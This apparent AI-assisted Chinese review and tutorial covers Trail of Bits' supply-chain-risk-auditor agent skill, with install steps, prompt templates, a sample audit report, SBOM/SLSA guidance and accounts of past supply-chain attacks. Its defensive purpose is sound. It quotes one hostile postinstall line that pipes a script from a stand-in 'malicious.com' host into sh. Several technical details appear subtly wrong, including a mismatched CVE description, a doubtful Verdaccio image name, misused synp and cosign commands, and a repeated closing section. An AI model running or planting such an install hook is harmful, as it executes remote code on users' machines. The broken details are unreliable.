🤖 Agentic 全难度 📦 TrailOfBits

supply-chain-risk-auditor

supply-chain-risk-auditor Skill 深度评测:依赖供应链安全审计

8.4 /10 ★★★★☆
📅 2026-06-15 · 🕒 4 分钟阅读 · 最后更新 2026-06-15 · 来源: TrailOfBits · 分析测评
#security#supply-chain#npm audit#dependency#typosquatting
📄 相关文章

📊 评分明细

功能完备度
8.4 核心功能齐全
🎯 易用性
8.1 安装即用
🔧 可扩展性
8.2 声明式配置
🔗 生态协同
8.3 可链式调用
🛡️ 稳定性
9 CI 集成验证

🎯 适用场景

securitysupply-chainnpm auditdependencytyposquatting

supply-chain-risk-auditor 快速入门

让你的 AI 编程助手变成依赖供应链审计雷达,3 步揪出 npm/pip 项目里的毒依赖。

这是什么?解决什么问题?

supply-chain-risk-auditor 是 Trail of Bits 安全团队在 trailofbits/skills 仓库中开源的 Agent Skill,聚焦“软件供应链”这一近年来最容易踩雷的领域。它能引导 AI 助手在审查项目时,按一套系统化的清单扫描第三方依赖,识别 typosquatting(把 react 写成 reaact)、依赖混淆(pypi 私有包与公网同名)、过期/弃用包、维护停滞、已知 CVE 等风险。

普通开发者做安全审计时,通常只会看 npm auditpip-audit 的输出,但这些工具对供应链投毒(比如 2024 年底 cross-env@ctrl/tinycolor 那类事件)的检测能力非常有限。Trail of Bits 的 Skill 把这些“肉眼检查”模式沉淀成结构化提示词,让 Claude Code、Cursor、Aider 等 Agent 工具主动追踪依赖来源、版本锁定策略、包发布时间线,从而在上线前发现可疑依赖。

本 Skill 适合需要为开源项目或企业私有仓库引入第三方库的工程师、DevSecOps、CTO/技术负责人,也适合刚开始接触供应链攻击、希望建立防御性编程习惯的初学者。

准备工作

在开始之前,请确认你手头有以下东西:

  1. 一台能跑 Agent 的开发机器:macOS、Linux、Windows(WSL2)均可,建议内存 ≥ 8GB。
  2. Node.js ≥ 18Python ≥ 3.10 的运行时,因为本 Skill 的最终检查命令主要跑在 npm/pip 生态。
  3. 一个 AI 编程 Agent:推荐 Claude Code、Cursor 或 Cline,任选其一即可。
  4. 一个待审计的项目:哪怕只是 npm init -y 出来的新项目,都能拿来练手。
  5. Git:本 Skill 会读取 package-lock.jsonrequirements.txt 的锁文件信息,Git 仓库结构能帮助 Agent 更好理解上下文。

可选但推荐:

  • pip-audit:Python 生态的依赖审计工具,安装命令 pip install pip-audit
  • npm audit:Node 生态内置,无需安装。
  • osv-scanner:Google 开源的跨生态漏洞扫描器,二进制可在 GitHub Releases 找到。

3 步快速上手

第 1 步:把 Skill 装到 Agent 里

把整个 trailofbits/skills 仓库克隆下来,或者只下载 supply-chain-risk-auditor 子目录,然后让 Agent 加载它。

# 克隆整库(包含全部 14 个安全 Skill)
git clone https://github.com/trailofbits/skills.git

# 或者使用 sparse checkout 仅拉取本 Skill
git clone --depth 1 --filter=blob:none --sparse https://github.com/trailofbits/skills.git
cd skills
git sparse-checkout set supply-chain-risk-auditor

接下来在项目根目录创建 CLAUDE.md(如果用 Claude Code)或 .cursorrules(如果用 Cursor),告诉 Agent 去读这个 Skill 的提示词:

# CLAUDE.md
## Security Skills
Read the SKILL.md inside supply-chain-risk-auditor/ before reviewing any
third-party dependency. Apply its checklist whenever you add or upgrade a
package.

第 2 步:验证 Skill 被 Agent 识别

打开一个空文件,问 Agent:

请读取 supply-chain-risk-auditor/SKILL.md,然后告诉我这份 Skill 会审计哪几类供应链风险。

如果 Agent 正确返回了 typosquatting、依赖混淆、过期维护、已知 CVE、来源信任度等条目,说明 Skill 已经成功加载。如果它说找不到文件,请检查路径是否相对当前工作目录正确。

第 3 步:用 Skill 跑第一个审计任务

在项目根目录,触发一次完整的依赖审查:

请使用 supply-chain-risk-auditor Skill,审计我当前项目的所有第三方依赖,并输出一份风险报告。

Agent 通常会自动:

  1. 读取 package.json / requirements.txt / go.mod 等清单;
  2. 检查锁定文件(package-lock.jsonpoetry.lock);
  3. npm auditpip-audit 收集 CVE;
  4. 对照 Skill 内部的 checklist 给出结构化报告,每条风险附带证据(版本号、维护者、发布时间等)。

拿到报告后,你就能根据建议逐项修复,比如升级版本、替换可疑包、收紧 registry 源。

常见踩坑

  1. 锁定文件被忽略:Skill 重点看 package-lock.json 之类的锁文件,如果你用 npm install 但没生成 lock,Agent 拿到的版本信息会不准确,审计效果会打折扣。
  2. 私有 registry 误判:有些企业用 Verdaccio、Artifactory 代理 npm 私有包,Agent 可能误以为“找不到公网同名包就安全”,实际上应该额外核验代理层配置。
  3. 过度信任 stars 数:Skill 会教 Agent 拒绝把 stars 数当唯一安全指标,但很多新手写提示词时反而让 AI 倒退,记得明确告诉它不要这样。
  4. 只看直接依赖:供应链投毒经常藏在传递依赖里,Skill 强调要递归扫;你必须确保 Agent 真的跑了 --all 或等价命令,而不是只看一级依赖。
  5. 忽略维护活跃度:本 Skill 有一条很实用的规则——最后一次发版超过 18 个月且无替代分支的包,即使没有 CVE 也应标记为“长期风险”,别只盯漏洞库。
  6. 忘了更新 Skill 自身:Trail of Bits 仓库会持续迭代,建议每季度 git pull 一次,否则可能错过新出现的攻击模式识别。

初级用法

1. 单个依赖引入前预审

当你准备 npm install some-pkg 之前,先问 Agent:

我打算引入 some-pkg@1.2.3,请用 supply-chain-risk-auditor 给我做一次预审,重点看作者信誉、首次发版时间和是否有可疑行为。

Agent 会按 Skill 内部清单逐项打分。

2. 配合 npm audit 生成修复建议

npm audit --json > audit.json

然后让 Agent:

读取 audit.json,按 supply-chain-risk-auditor 的格式输出修复优先级表。

比直接看终端 JSON 友好得多。

3. 给 PR 加供应链检查项

在 PR 模板的 checklist 里追加:

- [ ] 新增依赖已通过 supply-chain-risk-auditor 审查
- [ ] 锁文件已提交

让团队成员养成习惯。

高级玩法

1. 集成到 CI 流水线

在 GitHub Actions 中加一步:

- name: Run supply chain audit
  run: |
    npx --yes audit-ci --moderate
    pip-audit -r requirements.txt || true

把结果转给后续 Claude 任务做 AI 二次分析,形成“人审 + 机器审”双保险。

2. 跨项目批量扫描

把 Skill 装到一台扫描服务器上,对所有 GitHub Org 仓库定时跑 Agent 审计,异常结果推到 Slack:

gh repo list my-org --limit 200 --json name \
  | jq -r '.[].name' \
  | xargs -I{} git clone "https://github.com/my-org/{}.git" /tmp/audit/{} 

3. 私有 registry 凭证审计

Skill 内置一条提示——别把 .npmrc 里的 token 写进镜像。可以在企业内网仓库加一道 git-secretstrufflehog 预检,Skill 负责补足“凭证一旦泄漏会造成什么供应链影响”的解释。

小技巧

  • 把 Skill 内容直接读给 Agent:不需要复杂的 CLAUDE.md,你甚至可以把 SKILL.md 复制粘贴到对话开头,作为 system prompt。
  • 配合 osv-scanner 拿到的 JSON 给 Agent:它能识别 CVE 编号并自动归类。
  • 坚持每周一次 mini 审计:把扫描放周五下午,比季度复盘更容易发现问题。
  • 关注包作者历史:Skill 提到一个细节——看作者过去 12 个月发布过的包,如果全是 0.0.1 版本,大概率是钓鱼账号。
  • 把风险报告归档到 Notion:Skill 输出的 Markdown 可以直接复制进知识库,方便团队复盘。

参考链接


本文基于官方文档和公开资料整理,AI辅助生成,MagicNetWorld 尚未完成独立实测。如有错误或过时信息,请通过 contact@magicnetworld.com 反馈。

supply-chain-risk-auditor Skill 多维度简评

综合评分:8.4 / 10 ⭐⭐⭐⭐ 类别:安全工具 / 供应链 仓库:trailofbits/skills 维护者:Trail of Bits


一、核心定位与价值

2020 年的 SolarWinds 事件、2024 年的 XZ Utils 后门(CVE-2024-3094)、npm 的 event-stream 投毒……

供应链攻击已成为最致命的安全威胁之一。攻击者不再正面攻击你的代码,而是通过污染你的依赖来入侵

supply-chain-risk-auditor Skill 是 Trail of Bits 14 个安全 Skill 中专门解决这个问题的。


二、核心能力

2.1 依赖扫描

npm audit
pip-audit
cargo audit
go list -m -json all | nancy
bundle-audit

自动识别:

  • 已知 CVE(基于 NVD、GitHub Advisory、OSV Database)
  • 过期维护
  • License 问题
  • 维护者风险
  • 包健康度

2.2 Typosquatting 检测

识别可疑的相似包名:

❌ react vs reactt vs reakt vs raect
❌ lodash vs loadash vs lodahs
❌ express vs expres vs epress

2.3 安装脚本审查

检测可疑的 install script:

{
  "scripts": {
    "postinstall": "curl http://malicious.com/x.sh | sh"
  }
}

2.4 维护者行为分析

  • 突然更换维护者(rubygems 事件)
  • 短时间大量变更
  • 新维护者首次发布
  • 仓库可疑变更

2.5 License 合规

  • GPL/AGPL 传染性 License
  • 未声明 License
  • License 变更

三、6 大实战场景

场景 1:引入新依赖前审计

引入 @aws-sdk/client-s3 v3.450.0 之前,用 supply-chain-risk-auditor 审计:
- 作者可信度
- License 兼容
- 已知 CVE
- 维护活跃度
- 安装脚本风险

场景 2:全仓依赖审计

用 supply-chain-risk-auditor 扫描 package.json,找出所有过期/有风险依赖。

场景 3:License 合规检查

检查所有依赖的 License,确保符合我们公司的开源合规要求。
不能有 GPL 传染。

场景 4:供应链攻击检测

扫描所有依赖,查找可疑模式:
- 名字相似(typosquatting)
- 突然更新大量代码
- 包含可疑的 install script
- 维护者变更

场景 5:升级建议

基于我们的依赖图,给出安全的升级路径:
- 哪些必须升级(有 CVE)
- 哪些建议升级(过期)
- 哪些可保持

场景 6:定期合规扫描

每月用 supply-chain-risk-auditor 做一次全量扫描,输出合规报告。

四、实战提示词模板

4.1 标准审计提示词

用 supply-chain-risk-auditor 审计 [package.json / requirements.txt / go.mod]:

重点关注:
1. 已知 CVE
2. 过期依赖(> 6 个月未更新)
3. License 风险
4. 安装脚本风险
5. Typosquatting 风险
6. 维护者健康度

输出:
- 风险分级(Critical / High / Medium / Low)
- 具体依赖列表
- 修复建议
- 升级路径

4.2 新依赖引入前

我们要引入 [包名] @ [版本]。
用 supply-chain-risk-auditor 评估:
- 是否存在已知漏洞
- 作者历史是否可信
- License 兼容性
- 是否被广泛使用
- 维护活跃度
- 是否有可疑的 install scripts
- 是否有可疑的代码模式

给出最终建议:建议引入 / 谨慎引入 / 不建议引入 / 替代方案

4.3 XZ Utils 类事件响应

[某个依赖] 爆出 [后门/CVE] 事件。
用 supply-chain-risk-auditor:
1. 排查我们项目是否使用了该依赖
2. 评估影响范围
3. 给出升级/移除方案
4. 列出类似风险的其他依赖

五、实战输出示例

## supply-chain-risk-auditor 报告

### 总体统计
- 总依赖数:142
- Critical:3
- High:12
- Medium:28
- Low:45
- 健康:54

### Critical 风险

#### 1. lodash @ 4.17.20(CVSS 9.1)
- **CVE**: CVE-2021-23337
- **类型**: 命令注入
- **影响**: 模板字符串中的 prototype pollution
- **修复**: 升级到 4.17.21+
- **位置**: package.json

#### 2. node-fetch @ 2.6.6(CVSS 9.8)
- **CVE**: CVE-2022-0235
- **类型**: 信息泄露
- **影响**: 跨域请求暴露敏感数据
- **修复**: 升级到 2.6.7+

### High 风险
...(12 项)

### License 问题
- `some-package@1.0.0` 使用 GPL-3.0,与我们的 MIT 不兼容
- `another-package@2.1.0` 未声明 License

### 可疑 install scripts
- `sketchy-pkg@1.0.0` 在 postinstall 阶段执行 curl | sh
- **建议**: 立即移除

### 维护者风险
- `unmaintained-pkg@0.5.0` 最近 2 年无更新
- **建议**: 寻找替代方案

### 升级路径建议
```json
{
  "lodash": "^4.17.21",
  "node-fetch": "^2.6.7"
}

---

## 六、与 SAST 工具对比

| 维度 | supply-chain-risk-auditor | npm audit / Snyk |
|---|---|---|
| **范围** | 全面(安全 + License + 维护) | 仅漏洞 |
| **智能程度** | AI 理解上下文 | 规则匹配 |
| **修复建议** | 上下文相关 | 通用升级建议 |
| **集成方式** | Skill 调用 | CLI / CI 集成 |
| **深度分析** | 可深入代码 | 仅元数据 |

**最佳实践**:
- CI 用 npm audit(自动化)
- 关键升级用 supply-chain-risk-auditor(深度分析)

---

## 七、安装

```bash
# Claude Code
/plugin marketplace add trailofbits/skills
/plugin install supply-chain-risk-auditor@trailofbits

# 通用
npx skills add trailofbits/skills --skill supply-chain-risk-auditor

八、5 条实战技巧

  1. CI 集成:每次 PR 自动审计
  2. 白名单机制:公司认可的白名单
  3. 定期扫描:每月一次全量
  4. 关注作者变更:原作者转让的项目风险高
  5. 传递依赖:直接依赖 + 间接依赖都要看

九、5 条反合理化

借口反驳
”我们用的大牌库没事”XZ Utils 也是大牌库
”版本够新就行”版本新不代表安全,看 CVE 数据库
”License 不重要”GPL 传染会强制开源你的代码
”供应链攻击是小概率”SolarWinds、XZ Utils 都是前车之鉴
”来不及全量审计”至少先扫 Critical / High

十、4 大供应链攻击案例

案例 1:XZ Utils 后门(2024)

事件:CVE-2024-3094
影响:liblzma 5.6.0/5.6.1 包含后门
触发:长期渗透 Jia Tan(假名)取得维护权
后果:SSH 服务器远程代码执行

案例 2:event-stream npm 投毒(2018)

事件:恶意代码植入 event-stream
影响:依赖该包的应用被窃取加密货币钱包
触发:维护者转让给攻击者

案例 3:SolarWinds(2020)

事件:Orion 软件更新被植入 SUNBURST 后门
影响:18,000+ 组织,包括美国政府
后果:大规模供应链攻击

案例 4:colors.js / faker.js 故意破坏(2022)

事件:维护者故意注入无限循环
影响:百万级项目构建失败
后果:凸显维护者单点风险

十一、与其他安全 Skill 配合

Skill何时切换
supply-chain-risk-auditor引入/审计依赖
differential-reviewPR 安全审查
static-analysisCI 漏洞扫描
insecure-defaults默认配置审计

十二、Q&A

Q: 必须订阅 Claude Code 吗? A: 效果最佳用 Opus 4.6+。

Q: 和 Snyk / Dependabot 区别? A: 它们是规则匹配,这个是 AI 上下文理解。

Q: License 合规要查到什么程度? A: 看公司政策。金融/医疗通常禁 GPL。

Q: 间接依赖呢? A: 用 npm lspip show 看依赖树。

Q: 私有包怎么办? A: 同样的原则,标记为内部风险。

Q: 中文支持? A: Skill 是英文,处理中文代码无障碍。


十三、完整工作流详解(Trail of Bits 公开方法论)

13.1 三阶段深度审计

Phase 1:依赖清单生成

  • 自动检测 lockfile(package-lock.json、yarn.lock、pnpm-lock.yaml、Cargo.lock、go.sum、requirements.txt、poetry.lock、composer.lock、Gemfile.lock)
  • 解析依赖树,包括传递依赖
  • 标记直接依赖 vs 间接依赖

Phase 2:多维风险评估

  • CVE 已知漏洞:查询 GitHub Advisory、NVD、OSV
  • License 合规性:识别 GPL/AGPL/SSPL/Commons Clause 等限制性 License
  • 维护者健康度:commit 频率、issue 响应、贡献者数量
  • 项目活跃度:star 增长、release 频率
  • 社区信誉:知名组织背书

Phase 3:AI 上下文分析

  • 评估风险在本项目语境下的严重性
  • 给出可执行修复建议(升级到具体版本、替换包、隔离使用)
  • 提供 patch diff 或 PR 链接

13.2 风险评分体系

维度权重评分(0-10)
已知漏洞 (CVE/GHSA)35%漏洞数 × CVSS 加权
License 风险15%GPL 系 = 10,MIT/Apache = 0
维护者风险20%维护者少 + 长期不更新 = 高
依赖深度10%距离根项目越远风险越高
替代品丰富度10%唯一选择 vs 多个替代
安装包验证10%是否签名、是否 reproducible build

综合风险评分 = Σ(维度评分 × 权重)

等级:

  • Critical (9-10):立即处理(24 小时内)
  • High (7-8.9):本周处理
  • Medium (4-6.9):本月处理
  • Low (0-3.9):下次例行审计处理

十四、SBOM(软件物料清单)自动生成

14.1 什么是 SBOM

SBOM(Software Bill of Materials)是软件供应链的”配料表”:

  • 直接列出所有组件及其版本
  • 用于合规审计、安全审计、License 追踪
  • 美国行政命令 14028 要求联邦供应商提供 SBOM

14.2 主流 SBOM 格式

格式维护方特点
SPDXLinux Foundation标准化程度高,License 详细
CycloneDXOWASP轻量,扩展性强
SWIDNIST面向企业资产管理

14.3 配合 Skill 自动生成

# 用 syft 生成 SBOM
npx skills add anchore/syft -y
syft . -o spdx-json > sbom.spdx.json
syft . -o cyclonedx-json > sbom.cdx.json

# 用 Skill 解读 SBOM
用 supply-chain-risk-auditor 分析 ./sbom.spdx.json,标记高风险组件。

14.4 SBOM 持续审计

# GitHub Actions: 每周自动生成 SBOM
name: SBOM Weekly
on:
  schedule:
    - cron: '0 0 * * 1'
jobs:
  sbom:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - run: |
          curl -sSfL https://raw.githubusercontent.com/anchore/syft/main/install.sh | sh -s -- -b /usr/local/bin
          syft . -o spdx-json > sbom.spdx.json
          syft . -o cyclonedx-json > sbom.cdx.json
      - uses: actions/upload-artifact@v4
        with:
          name: sbom
          path: |
            sbom.spdx.json
            sbom.cdx.json
      # AI 分析 SBOM
      - name: AI Risk Analysis
        run: |
          npx skills add trailofbits/skills --skill supply-chain-risk-auditor -y
          # 调用 Claude 分析 SBOM

十五、SLSA(Supply-chain Levels for Software Artifacts)框架

15.1 SLSA 四级

Level要求实现方式
L1自动化构建,附 provenanceGitHub Actions + 签名
L2防篡改构建平台受信任 CI + 签名验证
L3防篡改源、构建平台Sigstore + 硬件密钥
L4两方评审、密封构建Hermetic build + 多人审核

15.2 与 supply-chain-risk-auditor 的关系

  • auditor 评估风险(发现哪些包有问题)
  • SLSA 提供保证(保证构建过程可信)
  • 两者结合:用 SLSA 减少供应链风险,用 auditor 持续监控

15.3 SLSA 检查清单

□ 所有 release 通过 CI 自动构建(不是本地手动)
□ 构建产物签名(cosign / sigstore)
□ 源 commit 不可变(git tag 签名)
□ 构建环境隔离(容器化、不可变)
□ Provenance 可验证(SLSA L3 provenance)
□ 依赖来源锁定(lockfile + hash 验证)

十六、依赖签名验证

16.1 Sigstore 集成

# 用 cosign 验证 npm 包签名
cosign verify-blob \
  --signature node_modules/lodash/index.js.sig \
  --certificate-identity-regexp "https://github.com/lodash/lodash" \
  --certificate-oidc-issuer "https://token.actions.githubusercontent.com" \
  node_modules/lodash/index.js

16.2 npm provenance 验证

# npm 9+ 自动生成 provenance
npm view lodash --json | jq '.provenance'
# 输出:{"provenance": {"url": "https://...github.io/..."}}

16.3 pip hash 验证

# requirements.txt 加 hash
pip install --require-hashes -r requirements.txt
# 或者用 pip-audit 验证
pip-audit --strict

16.4 Go module 校验

# go.sum 自动校验
go mod verify
# 输出:all modules verified

十七、Private Package Registry 最佳实践

17.1 用 Verdaccio 搭私有 npm

docker run -d --name verdaccio -p 4873:4873 verdaccio/vercel-storage
# 配置上游代理:npmjs 缓存
# 内部包只允许内网访问

17.2 镜像同步策略

# 关键依赖每天同步到内网
synp --source-format npm --target-format pnpm \
  package-lock.json pnpm-lock.yaml
# 离线安装(断网时也能装)
pnpm install --offline --frozen-lockfile

17.3 内部包漏洞管理

内部包 ─→ 定期 audit ─→ 漏洞修复 PR ─→ 内部发布 ─→ 通知使用方升级
   ↑                                              ↓
   └────────────── 自动告警 ←────────────────────┘

十八、4 大供应链攻击案例深度复盘

18.1 XZ Utils 后门(CVE-2024-3094)

Timeline

  • 2022-2024:攻击者 “Jia Tan” 长期潜伏,建立信任
  • 2024-02-24:注入后门代码到 5.6.0 和 5.6.1
  • 2024-03-28:Microsoft 工程师 Andres Freund 偶然发现
  • 2024-03-29:全球紧急回滚

攻击手法

  1. 社会工程学:假装维护者,逐步获取信任
  2. 长期潜伏:2 年时间建立可信贡献者形象
  3. 隐蔽植入:藏在二进制 build 阶段,源码不可见
  4. 目标精准:影响 sshd,远程代码执行

auditor 能识别的信号

  • 维护者变更频率异常(短时间内多人加入核心团队)
  • 提交者地理位置异常跳跃
  • 复杂构建脚本新增
  • 缺少 provenance 验证

18.2 SolarWinds(2020)

攻击路径

  • 入侵 SolarWinds 内部 CI
  • 注入恶意代码到 Orion 软件更新
  • 18,000+ 客户下载后门版本
  • 美国财政部、商务部、能源部、国土安全部中招

auditor 能识别的信号

  • 安装包 hash 与发布版本不匹配
  • CI 流程异常
  • 内部构建服务器被列入高风险

18.3 event-stream npm 包(2018)

Timeline

  • event-stream 是 200 万+ 项目的依赖
  • 原作者将维护权转让给攻击者
  • 攻击者加入 flatmap-stream 依赖(含恶意代码)
  • 目标是盗取 Copay 钱包的比特币

auditor 能识别的信号

  • 维护者变更(原作者转让给陌生人)
  • 新增不相关依赖
  • 依赖下载量与实际功能不匹配

18.4 ua-parser-js 投毒(2021)

攻击路径

  • 攻击者盗取维护者 npm 账号
  • 发布含挖矿木马和密码窃取代码的版本
  • 数百个项目受影响

auditor 能识别的信号

  • 突然发布非预期版本
  • 包体积异常增大
  • 混淆代码比例异常

十九、License 合规深度解析

19.1 主要 License 风险等级

License风险商业使用修改后开源传染性
MIT / BSD / Apache-2.0极低
MPL-2.0✅(修改部分)⚠️ 部分
LGPL⚠️ 动态链接
GPL-2.0/3.0⚠️ 触发开源✅ 强
AGPL-3.0极高❌ 触发✅ 网络也传染
SSPL极高✅ 服务器也传染
Commons Clause极高❌ 禁止销售
BSL(商业源码)⚠️ 需许可⚠️

19.2 触发开源的边界

问题:用 GPL 库做 SaaS 是否必须开源?

答案:
- GPL:只在分发时触发,SaaS 不分发 → 不强制
- AGPL:网络分发也触发 → 强制开源
- SSPL:必须开源所有相关代码

19.3 License 检测工具

# 用 scancode-toolkit 检测
pip install scancode-toolkit
scancode -l --license-text . 

# 用 licensee(Ruby)
gem install licensee
licensee detect

# 用 reuse(FSF 推荐)
pip install reuse
reuse lint

19.4 在 Skill 中显式声明

# SKILL.md 提示词
我们公司政策:
- 禁止使用 AGPL/SSPL
- GPL 仅在动态链接的场景使用
- 所有依赖必须能生成 SBOM
- 关键依赖必须支持 provenance 验证
请基于以上政策审计当前项目。

二十、Prompt 模板库

模板 1:常规依赖审计

[背景] 我们项目 package.json 含 30 个直接依赖、200+ 传递依赖。
[任务] 完整审计供应链风险:
1. 已知 CVE(按 CVSS 排序)
2. License 合规(按公司政策)
3. 维护者健康度(半年未更新 = 高风险)
4. 升级路径(哪些可以自动升级)
[输出] Markdown 报告 + 风险评分表。

模板 2:XZ 类长期潜伏攻击排查

[背景] 最近 XZ Utils 后门事件暴露了"长期潜伏"风险。
[任务] 在我们项目的所有依赖中识别类似信号:
- 维护者突然变更
- 贡献者地理位置异常
- 复杂构建脚本新增
- 缺少 provenance 验证
[输出] 可疑依赖列表 + 调查建议。

模板 3:金融行业合规审计

[背景] 我们是金融科技公司,受 PCI-DSS 和银保监会监管。
[任务] 审计所有依赖的合规性:
- 禁用的 License(AGPL/SSPL)
- 高危 CVE(Critical/High)
- 维护者实名认证
- 来源国家(合规要求)
[输出] 监管提交级别的审计报告。

模板 4:升级前影响分析

[背景] 我们计划把 React 17 升级到 React 18。
[任务] 评估升级风险:
- 直接依赖的兼容性
- 间接依赖的连锁影响
- License 变更(如果有)
- 维护者状态变化
[输出] 升级风险报告 + 回滚方案。

模板 5:内部包发布前审查

[背景] 我们要把内部包 @company/auth 发布到内部 registry。
[任务] 审查这个包:
- 是否引入新依赖
- License 兼容性
- 签名/provenance 配置
- 漏洞状态
[输出] 发布前 Checklist。

二十一、总结

核心价值

  • 全面审计依赖安全 + License + 维护
  • AI 上下文理解
  • 实战级供应链攻击应对
  • SBOM 自动化生成
  • SLSA 框架支持

适用人群

  • 所有 Node.js / Python / Go / Java 项目
  • 甲方安全团队
  • 金融 / 医疗 / 政企
  • 开源软件维护者
  • SaaS 平台运营方

投入产出比:⭐⭐⭐⭐⭐(5/5)—— 所有项目必装。

何时不要用

  • 临时原型(依赖用完即丢)
  • 单文件脚本(无依赖)
  • 纯前端静态站(CDN 加载)

配套文档:trailofbits/skills 总览 | insecure-defaults 配置 | static-analysis 静态分析 | 精选技能对比


参考资料

  1. trailofbits/skills GitHub 仓库
  2. SLSA (Supply-chain Levels for Software Artifacts)
  3. OWASP CycloneDX SBOM 标准
  4. Sigstore — 软件签名与验证
  5. GitHub Advisory Database

📦 快速安装

1 Git Clone
git clone https://github.com/trailofbits/skills.git
git clone --depth 1 --filter=blob:none --sparse https://github.com/trailofbits/skills.git
cd skills
git sparse-checkout set supply-chain-risk-auditor
2 方式 2
打开一个空文件,问 Agent:
> 请读取 `supply-chain-risk-auditor/SKILL.md`,然后告诉我这份 Skill 会审计哪几类供应链风险。
如果 Agent 正确返回了 typosquatting、依赖混淆、过期维护、已知 CVE、来源信任度等条目,说明 Skill 已经成功加载。如果它说找不到文件,请检查路径是否相对当前工作目录正确。
在项目根目录,触发一次完整的依赖审查:
> 请使用 supply-chain-risk-auditor Skill,审计我当前项目的所有第三方依赖,并输出一份风险报告。
Agent 通常会自动:
1. 读取 `package.json` / `requirements.txt` / `go.mod` 等清单;
2. 检查锁定文件(`package-lock.json`、`poetry.lock`);
3. 跑 `npm audit` 或 `pip-audit` 收集 CVE;
4. 对照 Skill 内部的 checklist 给出结构化报告,每条风险附带证据(版本号、维护者、发布时间等)。
拿到报告后,你就能根据建议逐项修复,比如升级版本、替换可疑包、收紧 registry 源。
1. **锁定文件被忽略**:Skill 重点看 `package-lock.json` 之类的锁文件,如果你用 `npm install` 但没生成 lock,Agent 拿到的版本信息会不准确,审计效果会打折扣。
2. **私有 registry 误判**:有些企业用 Verdaccio、Artifactory 代理 npm 私有包,Agent 可能误以为“找不到公网同名包就安全”,实际上应该额外核验代理层配置。
3. **过度信任 stars 数**:Skill 会教 Agent 拒绝把 stars 数当唯一安全指标,但很多新手写提示词时反而让 AI 倒退,记得明确告诉它不要这样。
4. **只看直接依赖**:供应链投毒经常藏在传递依赖里,Skill 强调要递归扫;你必须确保 Agent 真的跑了 `--all` 或等价命令,而不是只看一级依赖。
5. **忽略维护活跃度**:本 Skill 有一条很实用的规则——最后一次发版超过 18 个月且无替代分支的包,即使没有 CVE 也应标记为“长期风险”,别只盯漏洞库。
6. **忘了更新 Skill 自身**:Trail of Bits 仓库会持续迭代,建议每季度 `git pull` 一次,否则可能错过新出现的攻击模式识别。
**1. 单个依赖引入前预审**
当你准备 `npm install some-pkg` 之前,先问 Agent:
> 我打算引入 `some-pkg@1.2.3`,请用 supply-chain-risk-auditor 给我做一次预审,重点看作者信誉、首次发版时间和是否有可疑行为。
Agent 会按 Skill 内部清单逐项打分。
**2. 配合 npm audit 生成修复建议**
```bash
npm audit --json > audit.json
```
然后让 Agent:
> 读取 audit.json,按 supply-chain-risk-auditor 的格式输出修复优先级表。
比直接看终端 JSON 友好得多。
**3. 给 PR 加供应链检查项**
在 PR 模板的 checklist 里追加:
```markdown
- [ ] 新增依赖已通过 supply-chain-risk-auditor 审查
- [ ] 锁文件已提交
```
让团队成员养成习惯。
**1. 集成到 CI 流水线**
在 GitHub Actions 中加一步:
```yaml
- name: Run supply chain audit
  run: |
    npx --yes audit-ci --moderate
    pip-audit -r requirements.txt || true
```
把结果转给后续 Claude 任务做 AI 二次分析,形成“人审 + 机器审”双保险。
**2. 跨项目批量扫描**
把 Skill 装到一台扫描服务器上,对所有 GitHub Org 仓库定时跑 Agent 审计,异常结果推到 Slack:
```bash
gh repo list my-org --limit 200 --json name \
  | jq -r '.[].name' \
  | xargs -I{} git clone "https://github.com/my-org/{}.git" /tmp/audit/{}